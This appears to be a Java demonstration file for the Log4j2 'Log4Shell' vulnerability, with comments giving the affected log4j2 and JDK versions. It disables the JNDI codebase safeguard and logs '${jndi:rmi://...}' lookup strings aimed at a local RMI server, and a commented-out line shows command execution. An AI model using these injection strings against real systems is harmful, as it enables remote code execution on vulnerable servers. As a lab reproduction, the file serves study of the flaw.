import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.IOException;

/**
 * @ClassName TestMain
 * @Discription
 * @Author gzjoeliu
 * @Date 2021/12/12 14:00
 **/
public class TestMain {
    private static final Logger log1 = LogManager.getLogger(TestMain.class);

    public static void main(String[] args) throws IOException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        /******
         *  演示版本 ------>jdk :1.8u181，log4j2:2.12.0
         *  log4j2漏洞范围：2.0<=log4j2.version  <2.15
         *  java 漏洞范围： jdk7-> jdk.version  <7u200
         *                jdk8-> jdk.version  <8u191
         * ***/

//        Runtime.getRuntime().exec("notepad.exe");
//        String str = "testOutput";
//        String str = "${java:hw}";
//        String str = "${java:version}";

        String str = "${jndi:rmi://127.0.0.1:1008/attackObject}";
        String str1 = "${jndi:rmi://127.0.0.1:1008/attackStatic}";

        log1.info("str is: {},str1 is :{}", str, str1);
    }
}
